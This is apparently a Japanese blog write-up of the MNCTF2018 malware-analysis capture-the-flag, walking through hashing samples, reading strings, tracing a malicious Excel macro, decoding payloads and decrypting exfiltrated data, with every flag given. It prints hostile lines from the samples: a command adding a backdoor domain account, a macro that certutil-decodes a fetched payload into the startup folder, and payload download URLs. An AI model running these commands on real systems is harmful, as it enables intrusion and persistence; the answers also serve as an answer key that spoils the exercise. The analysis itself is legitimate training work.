セキュリティ技術メモブログ

日々の活動を記録する場所

MNCTF2018 writeup

今更ながらMNCTF2018をやったのでそのWriteup。
f:id:Paichan:20200103233137p:plain

練習問題

「MNCTF2018」が答えです。下の欄に入力して解答してください。

問題文にある文字列を入れるだけ。
MNCTF2018

新人奮闘Ⅰ

7月から株式会社マクニキのCSIRTに配属された新人のとだ君は、さっそく仕事が与えられました。サーバ管理者のこばやし君がADの最適化ツールと思い込み、誤ってマルウェアを実行してしまいました。ファイル名は「AD_OptimizationTool.exe」で、ADサーバ上、ドメイン管理者権限で実行してしまいました。とだ君はこばやし君からマルウェアを受け取り、さっそくマルウェアの解析に挑みます。 まずはマルウェアののSHA-256のハッシュ値を求めてください。

sha256sumコマンドで、SHA-256ハッシュ値を求める。

root@kali:/tmp/mnctf2018# sha256sum AD_OptimizationTool.exe 
f24f5629be2e0f821adb36fe4d47407937f5a318bf96ae3655b628f833040f29 AD_OptimizationTool.exe

f24f5629be2e0f821adb36fe4d47407937f5a318bf96ae3655b628f833040f29

新人奮闘Ⅱ

とだ君は「AD_OptimizationTool.exe」の解析レポートを書こうとしています。ここにアクセスして、手伝ってあげてください。※すべての項目を入力すると正解が得られます。

空欄部分を穴埋めすればフラグが出てくるらしい。
f:id:Paichan:20200104002500p:plain

ハッシュ値はそれぞれmd5sumsha1sumsha256sumで出した。

root@kali:/tmp/mnctf2018# md5sum AD_OptimizationTool.exe 
541427a9dbe43b10c05b856cdcdc5ba6  AD_OptimizationTool.exe
root@kali:/tmp/mnctf2018# sha1sum AD_OptimizationTool.exe 
e0fa838e0f191f97c5dac7a831af60d750432017  AD_OptimizationTool.exe
root@kali:/tmp/mnctf2018# sha256sum AD_OptimizationTool.exe 
f24f5629be2e0f821adb36fe4d47407937f5a318bf96ae3655b628f833040f29  AD_OptimizationTool.exe

MD5541427a9dbe43b10c05b856cdcdc5ba6
SHA1e0fa838e0f191f97c5dac7a831af60d750432017
SHA256:f24f5629be2e0f821adb36fe4d47407937f5a318bf96ae3655b628f833040f29

ファイルサイズはls-lオプションをつけて出した。

root@kali:/tmp/mnctf2018# ls -l AD_OptimizationTool.exe 
-rw-r--r-- 1 root root 2048  7月 11  2018 AD_OptimizationTool.exe

ファイルサイズ(バイト):2048

コンパイル日時(UTC)はPEviewの以下を確認。
IMAGE_NT_HEADERS→IMAGE_FILE_HEADER→Time Data Stamp
f:id:Paichan:20200104003606p:plain
コンパイル日時(UTC):2018/07/11 10:46:08

Import関数はPEviewの以下を確認。
SECTION .import→IMPORT Address Table
f:id:Paichan:20200104003803p:plain

ExitProcess kernel32.dll
Sleep kernel32.dll
ShellExecuteA shell32.dll
MessageBoxA user32.dll

全部穴埋めするとフラグが表示された。
d56d9a6036bd18ee98878eb74ae8d663

新人奮闘Ⅲ

とだ君はマルウェア解析を継続し、マルウェアを実行するとコマンドが実行されることに気づきました。コマンドは何でしょうか?コマンド全体を入力してください。

stringsコマンドを実行。

root@kali:/tmp/mnctf2018# strings AD_OptimizationTool.exe 
!This program cannot be run in DOS mode.
.text
 .data
@.import
hO @
hK @
h| @
AD Optimizer
Optimization successfuly finished.\nThe speed increased 176%.
/c net user /add /domain vpnadmin P@ssw0rD1!
open
kernel32.dll
shell32.dll
user32.dll
ExitProcess
Sleep
ShellExecuteA
MessageBoxA
root@kali:/tmp/mnctf2018#

net user /add /domain vpnadmin P@ssw0rD1!

新人奮闘Ⅳ

とだ君はコマンドを調査した結果、ADと連携しているVPNシステムに不正ログインされている可能性を考えて、VPNのログを調査するとにしました。マルウェア解析で分かった情報と照らし合わせて、不正ログインされている時刻を答えてください(YYYY/MM/DD hh:mm形式)

新人奮闘Ⅲの実行コマンドより、vpnadminという名前でユーザ登録されているので、このユーザでログインしているのが怪しい。grepする。

root@kali:/tmp/mnctf2018# cat vpn20180712.log.txt | grep vpnadmin
2018/07/13 15:01,vpnadmin,27.117.128.1

2018/07/13 15:01

新人奮闘Ⅴ

とだ君は不正ログインのIPアドレスを元に攻撃元の国を調べました。どの国でしょうか?日本語で解答してください。

新人奮闘IVより、アクセス元のIPアドレスは27.117.128.1
GeoIP2 Database Demo | MaxMind
というサービスを使った。
f:id:Paichan:20200104170645p:plain

韓国

大量不正

株式会社マクニキのCSIRT担当てしがわら君は、過去に自社内に見つけたマルウェアの断片を調査してみることにした。このマルウェア群から、類似性の高い組み合わせを見つけて、そのファイル名をハイフンでつなげて答えてください。
例)sample1.bin-sample2.bin

zipのパスワードは「infected」です。

類似性ということで、ssdeepを使用。

PS C:\MNCTF2018> .\ssdeep.exe -bcdr C:\Users\win10user\Desktop\malwares\malware
"sample68.bin","sample1.bin",99

sample1.bin-sample68.bin

種類特定

株式会社マクニキのCSIRT担当のてしがわら君は、海外拠点のエンジニアからマルウェア感染の連絡を受けました。先方からは、マルウェアの種類が特定できておらず、右往左往しています。サンドボックス上でマルウェアを動作させた際のマルウェアの通信はこちらです。パケットから、マルウェアの名前を特定してください。英字で解答してください。

通信先が"/imageas/ランダムな文字列/ランダムな文字列・・・"のように特徴的だったため、
マルウェア /images/」とかで調べたら「URSNIF(別名:GOZI)」とでた。

URSNIF

標的攻撃Ⅰ

ある日、株式会社マクニキにフィッシングメールのが届きました。メールを転送されたてしがわら君はその添付ファイル「製品価格一覧20180711.xls」を解析した。しかし、残念ながら、サンドボックス上では解析はできなかったため、手動で解析するととにしました。 特定のユーザ名の環境でないと動作しないようです。ファイルを調査して動作条件であるユーザ名を特定してください。(複数ある場合は一つのみ回答してください)。

パスワードは「infected」です。

マクロが含まれているようだ。excelで開発タブを表示し、Visual Basicからマクロを見た。
C6-C11の文字列と比較して、一致した場合、動くようなマクロ。
f:id:Paichan:20200104171226p:plain

C列は非表示になっていたため表示させて、文字に色を付けるといくつかのユーザ名があった。
f:id:Paichan:20200104171241p:plain

Yasu Kobayashi

標的攻撃Ⅱ

「製品価格一覧20180711.xls」の攻撃が発動すると、HTTPSの通信が発生します。そのURLを回答してください。

HTTPSの通信先を求める。マクロに埋め込まれていたのでそれが答え。

https://gist.githubusercontent.com/Sh1n0g1/3a240ce15fe7f26263ddf1877e5acc38/raw/d1d74601e5f4c94c958130accb16add9bb16e33d/cert

標的攻撃Ⅲ

「製品価格一覧20180711.xls」の動作を終えると、別のファイルが生成され、そこから2次検体が生成されます。2次検体のSHA256ハッシュ値を調べてください。

マクロを見ると、以下のようなことをやっている。
・取得したコンテンツを「cert.pem」として保存。
certutilコマンドでデコードし、「cert.exe」として保存。(certutil -decode [入力ファイル] [出力ファイル])

Shell "certutil -decode """ & startupFolder & "\cert.pem"" """ & startupFolder & "\cert.exe"""

同様の動きを、手動で行った。

PS C:\MNCTF2018> certutil -decode .\cert.pem cert.exe
入力長 = 98458
出力長 = 73802
CertUtil: -decode コマンドは正常に完了しました。

sha256を出す。

root@kali:/etc/apt# sha256sum cert.exe 
c4f069d079330cd46e51f9469c27015ed34c6371481df83a323bc098f3b53382  cert.exe

c4f069d079330cd46e51f9469c27015ed34c6371481df83a323bc098f3b53382

標的攻撃Ⅳ

2次検体を実行すると、HTTPSの通信が発生します。最初の通信のURLを調べてください。

ProcessMonitorを起動しながら実行すると、コマンドプロンプトが一瞬立ち上がり、消える。
ProcessMonitorのtreeを見てみると、以下のようなコマンドが実行されていた。
f:id:Paichan:20200104171932p:plain

https://shinobotps1.com/download_get.php

穴埋防御

株式会社マクニキのCSIRT担当のてしがわら君は不審なファイルを社内のサーバから見つけました。セキュリティベンダーに解析をお依頼したところ、最終的なマルウェアを検知するためのメモリをスキャンするためのYaraルールが提供されました。しかし、Yaraルールは一部欠けており、そのままでは使えません。マルウェアを解析し、Yaraルールを完成させてください。★に入る文字列を回答してください。

不審なファイルはbase64エンコードされていたようなので、デコード。

PS C:\MNCTF2018> certutil -f -decode .\Mutant.txt .\decode_Mutant.txt
入力長 = 352616
出力長 = 264462
CertUtil: -decode コマンドは正常に完了しました。

Powershellスクリプトらしきものが出力された。
このスクリプトの株にはまたbase64エンコードされていると思われる文字列がある。
f:id:Paichan:20200104172235p:plain
さらに、XOR(キーは0x17)で演算されているようだ。
f:id:Paichan:20200104172411p:plain
CyberChefを使うと、先頭に、実行ファイルのマジックナンバーであるMZが出てきた。
f:id:Paichan:20200104172532p:plain
これを保存し(今回はoutput.exeとした)、ProcessExplorerを起動した状態で実行する。

View→Show Lower Paneとするとmutantに文字列が見つかった。
f:id:Paichan:20200104172911p:plain

1q2w3e4r0o9i8u7y6t

盗難情報

株式会社マクニキのCSIRT担当のてしがわら君は攻撃者が残したファイルを入手しました。調査したセキュリティベンダー曰く、攻撃者はC&Cサーバに情報をアップロードする際にファイルを暗号化するとのことで、以下のアルゴリズムで暗号化されたものらしい。
XOR(シングルバイトキー)→ Base64 → ROT13
同攻撃者はマクニキの新製品情報を狙ったとみられています。ファイルを復号して、新製品の製品型番を答えてください。

XOR→base64→rot13というアルゴリズムエンコードされているとのこと。
CyberChefで逆からデコードしていく。

XORbruteforceをしたら、keyが15で"PNG"や"IHDR"の文字列が。
f:id:Paichan:20200104173048p:plain
よって、keyを15にした状態でファイルを保存すると画像が取り出せる。
f:id:Paichan:20200104173109p:plain

NEJI_190_3GM